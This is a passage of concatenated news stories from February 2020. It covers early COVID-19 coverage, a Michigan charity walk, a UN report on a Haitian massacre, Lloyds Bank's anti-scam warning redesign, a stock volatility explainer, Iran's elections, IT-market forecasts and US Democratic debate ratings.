around the country have carried out deep-cleaning campaigns in public places to prevent and control the spread of the virus. In the city of Taiyuan in Shanxi Province, officials have deployed a fleet of remote-controlled mini-tanks to spray disinfectant in residential areas. Elsewhere, local authorities in the provinces of Jilin, Shandong and Zhejiang have enlisted drones to spray disinfectant. Originating in the central Chinese city of Wuhan, the new virus - known as COVID-19 - has infected more than 75,400 people inside China and 76,700 globally. The Chinese government has locked down tens of millions of people in Hubei Province, of which Wuhan is the capital city, to prevent the spread of the disease. Disinfectant-spray mini-tanks have appeared in various neighbourhoods in Taiyuan, central China's Shanxi Province, since February 4. They carry out sanitising works twice a day Hubei accounts for more than 80 per cent of the confirmed cases and 95 per cent of the deaths worldwide. Meanwhile, Iran has confirmed 13 new cases of the killer virus as well as two new deaths, bringing its total fatalities to four, the highest outside of mainland China. Italy also announced three new cases of SARS-CoV-2 after a 38-year-old man caught it from a friend, who had recently returned from China and infected his wife and a close friend. The man is said to be in 'very serious condition' and struggling to breathe in an intensive care unit. Originating in the central Chinese city of Wuhan, the new virus has infected more than 75,400 people inside China and 76,700 globally. In the picture above, a security staff member checks a passenger's temperature at Chongqing Jiangbei International Airport on January 26 Globally, the coronavirus epidemic has killed at least 2,249 people, infected more than 76,700 and spread to at least two dozen countries. A medical worker is pictured treating a patient at an isolation ward at a hospital in south-western China's Chongqing on February 1 And cases in South Korea have soared, with investigators focusing on a church and hospital in the southern city of Daegu as clusters of infection. Overnight, health officials from Hubei reported 631 new cases out of a nationwide total of 889 and 115 of the 118 new deaths across China. Globally, the coronavirus epidemic has killed at least 2,249 people, infected more than 76,700 and spread to at least two dozen countries. HURON COUNTY The 30th Annual Walk for Warmth event will take place on Saturday, Feb. 22, to raise the money needed to warm homes and offer utility assistance. The struggle of not being able to keep the lights on or warm a home can affect many, including those you wouldn't expect. This weekend, the Human Development Commission wants area residents to know that they can be the difference. Self-sufficiency Advocate Jen Holt is a devoted HDC employee, and shared her own personal story. I got into the field because I used to be the person who needed help, Holt said. I was once homeless. Life was looking good for Holt just starting out. She worked steadily at Huron Behavioral Health for five years and had things under control, right up until the father of her first-born came back into the picture. The man was abusive, and for a variety of related reasons bills went unpaid. As a result, Holt lost her car and found herself unable to get to work. Inevitably, she lost her job. More and more bills continued to go unpaid, until Holt was unable to even pay rent. An eviction notice soon followed. Without a safe place to sleep, Holt and her daughter found refuge at a homeless shelter. Seeing as shelters are only temporary solutions, they left when the time came and stayed in different homes. Unfortunately, some of these situations were negative. Holt, who likes to quote the German-born theoretical physicist Albert Einstein, lives by the popular saying, "The definition of insanity is doing the same thing over and over again and expecting different results." One day, I just decided to get up, Holt said. I called a friend from Flint. I enrolled myself in college and never missed a day. I went to Baker. I would shower there in the mornings and wait for school to start. Everything Holt owned was in her bookbag. Other students assumed it was my books, Holt said. It was my stuff. Upon receiving Holts first student loan reimbursement check, she came home. By this time, she had rekindled a strained relationship with her own mother. Holt was invited to stay at home. For me (college) was a way to get off streets, Holt said. I didnt think I was that smart. Then, I wanted to see how far I could go. I made the dean's list twice. Holt successfully graduated with a bachelor's degree in business with a minor in psychology. Finding employment with HDC allowed her the chance to help others overcome similar situations. Seeing herself in those she assists, Holt recognizes their anxieties. She believes these fears to be normal but not exactly necessary. She also understands the harsh judgment some people pose. I dont want anyone to ever feel judged, Holt said. I want to make sure people know I care and that they can talk to me. That is why Walk for Warmth is so important. That is why I do what I do. Holt went to college as a homeless student to help others in similar situations. Brittany Deiter is involved in the self-sufficiency program through HDC and Holt is her worker. It is nice to have someone come out here and help gather goals, have someone to talk to and give hope, Deiter said. It is like having a personal friend to help make goals and figure out how to reach them. I think it is nice for people to have something to fall back on. It gives them a ray of hope. Like so many others involved in HDC programming, Deiter appreciates all they do. Especially, workers like Holt. Jen is a wonderful person, Deiter said. She has always been a little ray of sunshine in my day when I am having a bad one. She always gets me to laugh and gives me hope. HDC provides assistance to those who exceed the typical cut-off income level or have been denied by the Michigan Department of Health and Human Services for other reasons. Whether enrolled in self-sufficiency, head-start, or any other HDC program they can help to keep the lights on and heat flowing. The goal is to help people get out of those situations, Holt said. HDC is awesome at helping people with bills so they are not being shut off. I sat in that very same seat of what is now my office, Holt said. I am not ashamed. I am proud of where I came from. I know how hard it is. Walk for Warmth is a statewide event sponsored by multiple community action agencies, not limited to HDC. It raises the money necessary to help fund local families in need. Registration begins this Saturday at 9 a.m., with concurrent walks in four nearby counties, starting at 9:30 a.m. The Tuscola County walk begins at American Legion Post 7 of Caro; the Sanilac County walk begins at Liberty Lanes of Sandusky; the Lapeer County walk begins at the County Historic Courthouse; and the Huron County walk begins at the Step It Up of Bad Axe. To make a donation to the Walk for Warmth fund, or obtain more information about the Human Development Commission, call any of the following offices: Huron County at 989-269-9502; Lapeer County at 810-664-7133; Sanilac County at 810-648-4497; or Tuscola County at 989-673-4121. Haiti - FLASH : Overwhelming UN report, on the Bel Air massacre The joint report of the Office of the United Nations High Commissioner for Human Rights and the United Nations Integrated Office in Haiti (BINUH), which has just been published examines in detail the gangs violence in the Bel Air neighborhood from November 4 to 6, 2019, which caused many victims and left 30 families homeless after the fire in their house. The report finds that the Haitian authorities have failed in their obligation to adequately protect the inhabitants of a poor neighborhood of the capital, recalling that the attacks in the Bel-Air neighborhood took place during three days without the National Police of Haiti (PNH) intervening, in an area surrounded by police stations: the sub-police stations of Fort National, La Saline, Portail Saint Joseph and Cafeteria, as well as the Port-au-Prince police station, the headquarters of an operational unit of the Departmental Operation and Intervention Brigade (BOID), the Headquarters of the Intervention and Law Enforcement Corps (CIMO), and that of the Central Direction of the Road Police (DCPR) are all located less than two kilometers from the neighborhood. Although the police were alerted by the BOID patrol on the morning of November 4, no response action was taken. The report also reveals that one of the country's most notorious gang leaders, former police officer Jimmy Cherizier, against whom an arrest warrant was issued in February 2019, was the main player in the attacks. The report recalls the obligations of the Haitian State with regard to human rights and their obligation to end impunity and the cycle of violence by arresting, prosecuting and investigating the alleged perpetrators and making recommendations to the Government of Haiti, to the Directorate General and to the General Inspectorate of the National Police of Haiti, to the Government Commissioner and to the investigative office concerned and to the Ministry of Justice and Public Security. Stressing that without an appropriate process to hold those responsible for these crimes fully accountable to the justice system, the cycle of violence is likely to claim even more victims. Download the full report of the BINUH (PDF in French) : https://www.haitilibre.com/docs/20200217-Haiti-Rapport%20Bel-Air-final-master-version.pdf See also : https://www.haitilibre.com/en/news-29592-haiti-flash-new-assessment-all-the-details-on-the-massacre-of-bel-air.html HL/ HaitiLibre The rail driver who died in the Wallan train derailment on Thursday night has been identified as 54-year-old Canberra man John Kennedy. The train, which had left Central Station in Sydney at 7.40am, was running more than two hours late when it crashed about 12 hours later on the way to Southern Cross Station in Melbourne. John Kennedy was described as a very experienced driver who will be greatly missed. The 49-year-old pilot of the train, who was from Castlemaine, in Victoria, also died in the incident. Mr Kennedy, who married in October 2017, worked out of NSW TrainLink's Junee depot and had held a variety of roles across the rail network. YEREVAN, FEBRUARY 21, ARMENPRESS. The National Security Service of Armenia has filed a motion to the court for prolonging the pre-trial detention of former Minister of Finance, former chairman of the State Revenue Committee Gagik Khachatryan by 2 months, the press service of the NSS Armenia told ARMENPRESS. Khachatryan is accused of organizing misappropriation of particularly large amount of sum and has been in detention for nearly 6 months. He denies any wrongdoing. Edited and translated by Tigran Sirekanyan As part of the state visit of President of Azerbaijan Ilham Aliyev to Italy, First Lady Mehriban Aliyeva has viewed Quirinale Palace in Rome. Mehriban Aliyeva toured the halls of the Quirinale Palace and familiarized herself with the exhibits showcased there. Azerbaijan's First Lady was informed of the history of the Quirinale Palace, the valuable items kept here, including paintings, frescoes and mosaics. Located on the highest Quirinale Hill, the palace was built in 1573 by Pope Gregory XIII as a papal summer residence. The architects of the palace are Domenico Fontana and Carlo Maderno. Official meetings of the head of state are held at the palaces presidential room which once was a papal residence. The paintings in the palace belong to 17th century. The palace has been home to 30 Popes, 4 kings and 12 presidents. --- Follow us on Twitter @AzerNewsAz The ED has attached assets worth Rs 1.32 crore, including plots and bank deposits, of a Bihar-based 'liquor mafia' under the anti-money laundering law, the agency said on Friday. A provisional order under the Prevention of Money Laundering Act (PMLA) has been issued against Sanjay Pratap Singh and his wife Kiran Devi. "Singh is a liquor mafia of Ara and Bhojpur districts," the Enforcement Directorate (ED) said in a statement. Bank deposits of Rs 30,757 kept in the name of Singh and Maa Construction have also been attached, it said. The ED said Singh faces charges of culpable homicide, cheating and criminal conspiracy among others and the federal probe agency took cognisance of Bihar police FIRs and charge sheets to slap a money laundering case against him. "Singh was also involved in the illegal manufacturing and selling of spurious liquor which resulted in the death of 21 persons. He has been convicted to life imprisonment by a trial court," the ED said. The accused had invested the proceeds of crime generated through illegal trade of liquor for acquiring immovable properties in his and his wife's name, the ED alleged. His wife has no independent source of income, it added. "In 2011, Singh created an unregistered firm Bhojpur Wine Traders with an intention to legalise his tainted income," it said. "The accused has used the proceeds of crime in the construction business where ill-gotten money has been used to acquire and construct immovable property," the ED said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Eric Erdman is all about helping others, especially children. The 20-year-old Pennsylvania native founded the Give a Child a Voice foundation in 2016 shortly after being diagnosed with anaplastic ependymoma, a rare form of brain cancer. His foundation is not only dedicated to ending life-threatening childhood illnesses but also works to combat child abuse and bullying, two things Erdman experienced firsthand. When I got diagnosed with cancer, I didnt want to focus on the bad times, he told "GMA." I wanted to go the route of being happy and joyful, and inspire people. PHOTO: Eric Erdman was diagnosed with a rare form of brain cancer in 2016. (Give a Child a Voice) Erdman first shared his story with "GMA" in September 2019 and it was around that time that medical experts told him he had approximately five months to live. Putting no time to waste, he has spent the last several months continuing to grow Give a Child a Voice and empower youth. In his most recent philanthropic effort, he launched the Give a Child a Voice Fitness Center Giveaway, offering a school in need a brand-new fitness facility. The contest drew the attention of hundreds of schools all over the world. MORE: Toddler with rare disorder gets new oxygen tank holders designed by 6th graders We had so many amazing submissions from schools, he said. We even had one from Australia, which was mind-blowing ... I couldnt believe the amount of people that were in need. After reviewing the submissions, the foundation was announced on Feb. 20 that Life School Oak Cliff in Dallas would be the recipient of the new fitness facility. PHOTO: Life School Oak Cliff in Dallas, Texas received the Give a Child a Voice Fitness Center giveaway. (Give a Child a Voice) A recent shooting in the community and a students death by suicide stood out as reasons why Erdman thought the school would benefit from a fitness center. Im so happy that they are the winners, he said. MORE: 17-year-old who received double lung transplant due to vaping speaks out Erdman was unable to be at the announcement because of medical appointments, but he visited Life School Oak Cliff in January of this year, where he was welcomed with open arms by the students and faculty. Story continues PHOTO: Eric Erdman used his wish from Make-A-Wish Foundation to give his high school a new fitness center. (Give a Child a Voice) Life School Oak Cliff will be the third fitness center built by Give a Child a Voice, following Erdman's first project at his own high school and a second at his high schools rival's campus. The first project was funded through the wish Erdman was granted by the Make-A-Wish Foundation. When I was being bullied and abused, I felt alone, he said. When I went to the weight room, it built courage up inside of me to talk about it. I hope that one day a little kid going through a hard time finds their courage through the weight room like I did, to speak up and tell their story. Terminally ill 20-year-old gifts Dallas school with new fitness center originally appeared on goodmorningamerica.com You might think Lloyds Bank's director of fraud would fancy a break from the day job, but Paul Davis likes to spend his time off reading crime novels. 'It's not an admiration thing for the crooks', he says. 'I read it for the cops and what the cops get up to'. But while Davis normally prefers fiction, a non-fiction book he read about con artists while on holiday in Italy in 2017 - though hardly your typical beach read - gave him some ideas for when he got back to his desk. As Paul tells me this, sitting across a long table in a meeting room in Lloyds Bank's offices in the City of London, to my right sits the author of 'The Confidence Game: Why We Fall for It... Every Time'. Poker face: Paul Davis and psychologist, author and poker player Maria Konnikova teamed up to help revamp the bank's approach to scams She is Maria Konnikova, a Harvard and Columbia educated psychologist, author and, in recent years, professional poker player - she has reportedly won over $200,000. Suitcase packed behind her chair, she is due to fly back to New York that afternoon following four 'quite intense but interesting' days after being parachuted into the freezing London rain to assist in Lloyds' fight against fraud. Big banks have spent millions of pounds on sophisticated scam prevention systems in response to customers losing millions more to scammers convincing them to transfer funds to them. Last summer, Lloyds said its 'cutting-edge new tool', known as 'The Rat', had already prevented more than 4million in fraud. But despite these inventions, the scams go on and the sums lost to push payment fraud get bigger. In total, 148.2million vanished in the first six months of 2018 compared to 207.5million in the first half of last year. All the technology in the world doesn't matter after all if someone still clicks 'send'. Paul admits: 'Quite often the solutions we've been throwing at the problem tend to be technological. 'But this fraud has a very human element to it, and you can have the best systems to detect unusual payments in the world, but unless you have a high quality conversation with the customer which actually takes account of their mental state while they're being scammed, you might as well turn them off.' This, he says, is why Maria is here. Essentially, to assist the bank in revamping its fraud warnings, and use her knowledge of con artists, con victims and human decision making to help one of the UK's biggest banks better talk to its customers. The 35-year-old's student profile when she was studying for her PhD at Columbia University in New York said she was interested in 'the effects of hot and cool emotional states on self-control ability and decision making, especially under risk and uncertainty.' Konnikova, 35, has especially focused on the psychology of human beings in 'hot states', and said in such situations we're far likelier to fall victim to scammers Being called and asked to transfer money, she says, whether it's someone claiming to be your bank, HMRC or the police, is likely to put you in such a 'hot state'. 'When we're in a state like that, we stop thinking rationally. We stop thinking objectively, we become incredibly subjective. We stop seeing logical inconsistencies. 'There's a lot of really interesting psychological work on when people are able to spot logical flaws in arguments, when they're able to spot red flags, and it turns out when you're emotional or in the midst of a story, you stop seeing things you would've seen otherwise.' The aim then is to get someone out of that kind of state. 'I think what we're trying to accomplish here is cool someone off', she says, 'and one of the ways you do that is by forcing them to take a breath, take a step back, realise no matter what type of con it is, that nothing has to be instantaneous.' 'If someone's telling you they need money right now, that's a problem. How do you get people to reflect, to take a pause, to take a break?' To think logically - more like the focus of one of her previous books, fictional detective Sherlock Holmes - than a flustered person thinking they're about to be fined unless they send money to the taxman right that second. 'What we wanted to do', Davis explains, 'was bring in somebody with an external perspective and expertise, and someone who has spent a lot of time with victims, and with fraudsters, and who understands their mental state, and their psychological state, to help us make our warnings even more effective, even better.' Maria Konnikova's first book focused on thinking like the hyper-logical Sherlock Holmes. She changed tack completely with her follow-up, which focused on the psychology of cons. Her upcoming third book is charting her journey to becoming a professional poker player Seven types of fraud to battle It's been a lot to cram in in a short space of time. I'm handed a list of seven types of push payment fraud, from romance scams, to scams promising high investment returns to 'safe account' impersonation fraud. Seven deadly scams: Over the four days, Maria Konnikova worked with Lloyds' fraud team on warnings for seven types of authorised push payment scam. They were: - Purchase scams: Where the victim pays in advance for goods or services that are never received. - Investment scams: Where the victim pays for a fake Investment which offers high returns. - Advance Fee scams: Where the victim pays a fee which they believe will result in the release of a much larger payment or high-value goods. - Romance scams: Where the victim pays money to a person they believe is romantically involved with them. - Impersonation scams: Where the victim is contacted by the scammer who pretends to be from the police or the victim's bank and convinces them to make a payment to a 'safe' account owned by the fraudster, or to pay a non-existent fine. - Invoice scams: Where the victim attempts to pay an invoice to a legitimate payee, but the scammer intervenes to convince the victim to redirect the payment to the scammer's account. - CEO scams: Where the victim attempts to make a legitimate payment but the scammer intervenes by impersonating the CEO or other senior executive of the victim's organisation to convince them to redirect the payment to the scammer's account. Maria says: 'We've talked about all of these, and figured out wording and approaches, and the ways to think about all of them, not just for online scams. 'We listened to some calls and figured out, how do you want people to talk to people on the phone once they're on the phone, in-branch, how do you want tellers to talk to them. 'Everyone has different tools at their disposal, right?' What are some of the things they've come up with? Maria diplomatically insists some of the bank's existing fraud warnings 'were good', but the key focus is 'simplicity'. Rather than long, logical messages describing in detail what is going on, the focus should be on the 'most important thing we want people to take away. And how do we present it in a way that has the most impact, that's going to have no noise, that's going to be direct, that's going to appeal to them directly.' Paul boots up a PowerPoint presentation to show off some prototypes. For example, not 'did your bank call you', but 'did we call you? Did we tell you move money?' Click yes on this, and you're greeted by a big red warning triangle which declares: 'This is a scam.' Again, the aim, they say, is simplicity. 'Don't say this "may be a scam", say "this is a scam"', Maria says. 'If Lloyds has just called you to tell you to move your money', Paul finishes off her sentence: 'It will be a scam.' That's for sending money online, while if you're talking to someone on the phone, she insists it needs to sound personal, not scripted. 'I understand why you need scripts, you know, you're a bank', she says. 'But the moment a victim thinks you're using a script they shut down. 'You want to make sure nothing sounds like a script, that it sounds personal, and you need to treat victims as people.' 'We've got some of the best data scientists in the industry who are looking out for unusual transactions', Paul says, like the ones which may trigger a warning like the one he's shown me in the first place, 'but how are we going to leverage that? 'And we can only get the true power of that if we give customers a warning likely to make a difference to their behaviour.' Maria says: 'Rather than having one blanket warning, how do you actually break it up so everyone sees just the one warning that applies to the fraud they're most likely experiencing?' While the pair sound fairly satisfied with what they've accomplished, there appears to be no suggestion after four days of work that this is job done, fraud beaten, minds completely changed. 'None of this can stand still', Paul says. 'No', Maria adds, 'because con artists don't stand still. The moment you say "we've got this", is the moment it stops working.' In the high stakes battle against online fraud, there is always another round to play. As someone increasingly used to the poker table, Maria Konnikova probably knows that better than most. If you own shares in Forestar Group Inc. (NYSE:FOR) then it's worth thinking about how it contributes to the volatility of your portfolio, overall. In finance, Beta is a measure of volatility. Modern finance theory considers volatility to be a measure of risk, and there are two main types of price volatility. The first category is company specific volatility. This can be dealt with by limiting your exposure to any particular stock. The second type is the broader market volatility, which you cannot diversify away, since it arises from macroeconomic factors which directly affects all the stocks on the market. Some stocks mimic the volatility of the market quite closely, while others demonstrate muted, exagerrated or uncorrelated price movements. Beta is a widely used metric to measure a stock's exposure to market risk (volatility). Before we go on, it's worth noting that Warren Buffett pointed out in his 2014 letter to shareholders that 'volatility is far from synonymous with risk.' Having said that, beta can still be rather useful. The first thing to understand about beta is that the beta of the overall market is one. Any stock with a beta of greater than one is considered more volatile than the market, while those with a beta below one are either less volatile or poorly correlated with the market. Check out our latest analysis for Forestar Group What does FOR's beta value mean to investors? Zooming in on Forestar Group, we see it has a five year beta of 1.83. This is above 1, so historically its share price has been influenced by the broader volatility of the stock market. If the past is any guide, we would expect that Forestar Group shares will rise quicker than the markets in times of optimism, but fall faster in times of pessimism. Many would argue that beta is useful in position sizing, but fundamental metrics such as revenue and earnings are more important overall. You can see Forestar Group's revenue and earnings in the image below. Story continues NYSE:FOR Income Statement, February 21st 2020 Could FOR's size cause it to be more volatile? Forestar Group is a small cap stock with a market capitalisation of US$1.0b. Most companies this size are actively traded. It's not particularly surprising that it has a higher beta than the overall market. That's because it takes less money to influence the share price of a smaller company, than a bigger company. What this means for you: Beta only tells us that the Forestar Group share price is sensitive to broader market movements. This could indicate that it is a high growth company, or is heavily influenced by sentiment because it is speculative. Alternatively, it could have operating leverage in its business model. Ultimately, beta is an interesting metric, but there's plenty more to learn. In order to fully understand whether FOR is a good investment for you, we also need to consider important company-specific fundamentals such as Forestar Groups financial health and performance track record. I highly recommend you dive deeper by considering the following: Future Outlook: What are well-informed industry analysts predicting for FORs future growth? Take a look at our free research report of analyst consensus for FORs outlook. Past Track Record: Has FOR been consistently performing well irrespective of the ups and downs in the market? Go into more detail in the past performance analysis and take a look at the free visual representations of FOR's historicals for more clarity. Other Interesting Stocks: It's worth checking to see how FOR measures up against other companies on valuation. You could start with this free list of prospective options. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. By Trend Tehran Province's Governor Mohsen Bandpey has announced that half a million people in Tehran province cast their ballots thus far, Trend reports citing IRNA. Meanwhile, Abbasali Kadkhodaei, the spokesman for Iran's Guardian Council, predicted a turnout of more than 50 percent, although some say the turnout in reformist-minded cities such as the capital could be some 30 percent. Iranian Supreme Leader has previously warned that friends and foes are watching out for the election results. He said the enemies wanted to see what had been the result of Trumps policy of maximum economic pressure. He said it was not just an Iranians national and revolutionary duty to vote, but a religious one. Iran holds the 11th parliamentary elections and the 5th regular elections of the Expert Council on Feb. 21. More than 7,100 candidates are running for 290 seats in the Iranian parliamentary elections. There are 57,918,000 eligible voters in the ongoing parliamentary elections. The elections are held in 208 constituencies and 54,000 polling stations, where the passports are being stamped. Parliamentary candidates in Iran are usually aligned with reformists or conservatives, also referred to as "principlists". These are the two main political currents. The conservatives are traditionally seen as supportive of greater state intervention, socially and economically, and most of them did not support the nuclear deal and negotiations with the US. On the other hand, reformists pushed for the nuclear deal and are seen to be supportive of a more open-market economy. The country's Supreme Leader Ayatollah Ali Khamenei and President Hassan Rouhani have called for a high voter turnout, and asked the public to come together. -- Follow us on Twitter @AzerNewsAz With virtually all of China shutdown and under quarantine due to the coronavirus, the Chinese IT hardware market will suffer a temporary but significant impact in the first quarter due to demand not being met. While foreign impact is not certain, it does have the potential to spill over into other markets. IDC now predicts the total 2020 server growth rate will be reduced from original growth projections of 12.4% to 7.4%, and Q1 sales will drop 15% from the same time period last year instead of the original projection of 16.5% growth. Storage 2020 growth rate will be reduced from 12.5% to 7.3% and Q1 will be down 20% instead of the original projection of 16.6% growth over Q1 2019. The 2020 networking growth rate has been reduced from the original 6.2% to 3.0%. China represents about 20% of the global IT infrastructure market today, according to Matt Eastwood, senior vice president of several IDC enterprise research groups. We still dont have a global roll-up at this point. But as you can see, the impact is not insignificant, he said via email. IDC believes the impact will be mainly confined to the first quarter of this year and gradually fade in the second quarter. PCs and smartphones will take a much greater hit than server hardware, while emerging technologies like AI and IoT will suffer a minimal impact. Because Wuhan, the center of the sickness, is primarily a hub for display makers, anything with a display could feel the pinch. IDC does not have a forecast of the coronavirus's impact on the US yet, and a check with major U.S. IT vendors finds a mixed bag, with some of them avoiding the subject. Case in point, Intel, which sent this statement when I asked about potential impact on supply: The safety and well-being of all of our employees is our top priority. As a precaution, we have implemented travel restrictions in line with guidance provided by the Centers for Disease Control recommending against nonessential travel to China. Were monitoring the situation closely and working to ensure that our employees in China and elsewhere have the information and resources they need to stay safe, said a spokesperson in an email. Thats nice but it didnt answer the question, and AMD didnt answer at all as of this writing. However, I think I know why. If there is one area where publicly traded companies walk on eggshells its anything having to do with financial impact. They arent going to say anything publicly unless they absolutely have to. Nvidia did own up to potential impact in its quarterly earnings report last week, which it pretty much had to since this was a financial filing. It said it expects to take a $100 million hit in revenue next quarter due to the impact of the coronavirus outbreak. "While the ultimate effect of the coronavirus is difficult to estimate, the company has reduced its revenue outlook for the first quarter of fiscal 2021 by $100 million to account for its potential impact," the company said in a statement. Intel had already reported Q1 earnings before the virus really took off, so if it feels any impact, it will be disclosed when it reports Q2 numbers on April 23. AMD has also already reported Q1 numbers and reports Q2 sales on April 28. The good news is the semiconductor industry largely appears to have escaped a direct hit because a lot of manufacturing is done outside of China, notes market research firm Omdia. Intel has fabs worldwide, with significant manufacturing in Arizona. AMD uses Globalfoundries, which has fabs in Germany and New York. Nvidia uses TSMC in Taiwan, which may explain its impact. Global chip supply through the first two months of 2020 appears to be largely unaffected by the coronavirus outbreak, said Len Jelinek, research vice president, components & devices, for Omdia in a statement. Theres plenty of chip inventory in the channel, compensating for any coronavirus-related production shortfalls at semiconductor fabs located in the Wuhan area and elsewhere in China. Also, few semiconductor suppliers are located in areas affected by the virus, and all of the parts sold by these companies can easily be sourced from other chipmakers. Server vendors non-committal Server vendors didnt have much to say, either, but they havent reported quarterly numbers yet. The period between when their quarter closes and when they report is known as the quiet period and they get very tight-lipped during that time. Case in point, Dell, which reports on February 27, said this: Were evaluating the potential impact of the coronavirus on our business operations and are assessing all options and mitigation plans to help ensure our supply chain remains operational and were meeting customers needs. While the situation continues to evolve, our top priority is ensuring the health and safety of our employees and communities. We will continue to monitor the situation closely and adjust as needed. HPE reports February 20 and had a little more to say on the subject. We are monitoring events closely and are in constant contact with our suppliers, as well as our joint venture partners at H3C, to understand any impacts they are experiencing and minimize the effects on our customers. This is an evolving situation, with governments and health authorities taking actions to protect the public in response to real-time developments. HPE has a large, global supply chain and robust business continuity plans in place to mitigate disruptions that may be caused by the coronavirus, meet customer demands and protect our team members. Supermicro, the Fremont-based white-box vendor very popular with hyperscale vendors, reported its quarterly earnings February 6 and made no mention of coronavirus in any form. It sent me this statement: Supermicro is continuously assessing the impact of the coronavirus outbreak. Headquartered in Silicon Valley, we run operations globally with production in the United States, Europe, and Taiwan, which mitigates geographical risk to our supply chain. Based on the latest known information, we currently do not believe this will have a significant impact on our production. Not surprisingly, Lenovo, the one major IT vendor based in China, declined to comment. The Wednesday night Democratic debates in Las Vegas broke records as the most-watched Democratic primary debate in history. The event which pitched billionaire Mike Bloomberg against candidates like Elizabeth Warren, Bernie Sanders and Joe Biden for the first time drew a combined audience of 19.7 million viewers. Thats more than the previous record, in June, when 18.1 million people tuned in to watch the second Democratic debate of this cycle. It also outperformed two other high profile and primetime television events this year: the Grammy Awards on CBS drew just 18.7 million viewers while the Golden Globes drew just 18.3 million by comparison. The record-breaking viewership came after interest in the Democratic contests appeared to dwindle, with an average of between six million and eight million people tuning in for the past five debates leading up to Wednesday nights contest, according to Nielsen ratings. Democratic candidates compete on the campaign trail: In pictures Show all 18 1 /18 Democratic candidates compete on the campaign trail: In pictures Democratic candidates compete on the campaign trail: In pictures Jessica Canicosa, a precinct captain for Bernie Sanders, waits to greet caucus voters at Liberty High School in Henderson, Nevada REUTERS Democratic candidates compete on the campaign trail: In pictures Hotel workers at the Bellagio in Las Vegas get to grips with voting papers during the Nevada caucuses AFP via Getty Images Democratic candidates compete on the campaign trail: In pictures A caricature of Bernie Sanders is projected on to a tree during a rally in Las Vegas EPA Democratic candidates compete on the campaign trail: In pictures A woman waits to have a photo taken with Elizabeth Warren during a town hall meeting in Las Vegas REUTERS Democratic candidates compete on the campaign trail: In pictures The threat of coronavirus and other germ-borne illnesses was on some voters' minds at the Democratic caucuses in Henderson, Nevada Getty Images Democratic candidates compete on the campaign trail: In pictures Former vice-president Joe Biden takes a selfie with a voter in Las Vegas ahead of the Nevada caucuses REUTERS Democratic candidates compete on the campaign trail: In pictures Amy Klobuchar changes her shoes backstage after giving a speech in Exeter, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures A warmly-wrapped-up dog attends an Elizabeth Warren event at Amherst Elementary School in Nashua, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures Bernie Sanders, who romped to victory in New Hampshire against Hillary Clinton in 2016, talks to the media in Manchester Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden was hoping to improve on his poor showing in Iowa in the New Hampshire primary Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren, renowned for giving time to supporters for selfies, works the crowd at the University of New Hampshire in Durham Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden takes a selfie with a supporter and his child outside a campaign event in Somersworth, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren and Bernie Sanders quarrel after a confrontation in a TV debate in which Sanders claimed that Warren was not telling the truth about a conversation in which she claimed he had said a woman could not win the presidency on 14 January AP Democratic candidates compete on the campaign trail: In pictures Supporter Pat Provencher listens to Pete Buttigieg in Laconia, New Hampshire on 4 February Getty Democratic candidates compete on the campaign trail: In pictures Pete Buttigieg speaks at a campaign event in Concord, New Hampshire while awaiting the results of the Iowa caucus Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren is presented with a balloon effigy of herself at a campaign event in Nashua, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures A Trump supporter rides past a rally for Amy Klobuchar in Des Moines, Iowa on 14 January AP Democratic candidates compete on the campaign trail: In pictures A man holds up a sign criticising billionaires in the presidential race in front of Michael Bloomberg in Compton, Califronia. The former New York mayor skipped the first caucus in Iowa and instead campaigned in California on 3 February Reuters That interest may have been driven in part by the inclusion of Mr Bloomberg, who entered the race late last year, and has pumped hundreds of millions of dollars into advertising as he pursues a non-traditional campaign approach that focuses on Super Tuesday states instead of the four early states normally seen as essential for candidates with relatively fewer financial means. But, while Mr Bloomberg has largely been able to spin his own narrative with complimentary advertisements, his performance during the live debate was largely seen as a flop, with Ms Warren receiving considerable attention for her searing attacks on the New York billionaire. Ms Warren, early on during the debate, slammed Mr Bloomberg and compared him to Donald Trump who she noted is also a billionaire who has faced accusations that he had mistreated women. Mr Bloomberg spoke the least out of any of the six candidates on the stage, which also included Pete Buttigieg and Amy Klobuchar. His campaign has indicated they believe he performed well, considering his late entrance in to the race, and that he has not had as much experience on the debate stage because of that fact. Israeli tailor Bagir was out of fashion this week after announcing it is taking legal action against Chinese giant Shandong Ruyi. Once touted the 'LMVH of China', the fashion conglomerate is now drowning in billions' worth of debt following an acquisition spree of European brands such as Sandro and TM Lewin. Only last month the group was added to a cotton supply blacklist after it failed to pay compensation to a Bangladeshi company following an arbitration case. Israeli tailor Bagir has announced it is taking legal action against Chinese giant Shandong Ruyi In the case of Bagir, Shandong Ruyi was meant to buy a 53.7 per cent stake in the suit designer for $16.5million, but had to push back the completion date by nine months, with the new deadline set at 31 March. As part of the transaction, Shandong Ruyi had committed to deliver $1.3million worth of equipment to Bagir's Ethiopian factory by last September. However, the goods still have not shown up, leaving Bagir to sue over breach of contract. Investors will wonder whether the tailor will ever see any money. The shares ended the week down 14 per cent to 0.5p. Model train maker Hornby was headed in the opposite direction as it chuffed 5 per cent higher to 38p after raising 15million to reinvigorate its iconic brands and fuel its digital marketing strategy. The cash call was backed by the company's two main investors, Phoenix Asset Management Partners and Artemis Investment Management, who between them own 90 per cent of the business. Looking at the wider market, the AIM All-Share rose 1 per cent to 976, outperforming the FTSE 100 which was flat at 7,415. In a week of tech risers, esports specialist Gfinity jumped 28 per cent to 1p on the back of its winner-stays-on gaming experience at the VidCon London 2020 festival happening this weekend. Model train maker Hornby saw shares rise after raising 15million to reinvigorate its iconic brands and fuel its digital marketing strategy Crimson Tide surged 13 per cent to 2p on a series of contract awards worth 600,000, as firms in the rail sector flocked to use mpro5, its app designed to help businesses manage their staff. Seed investor Frontier IP advanced 20 per cent to 78p thanks to portfolio firm 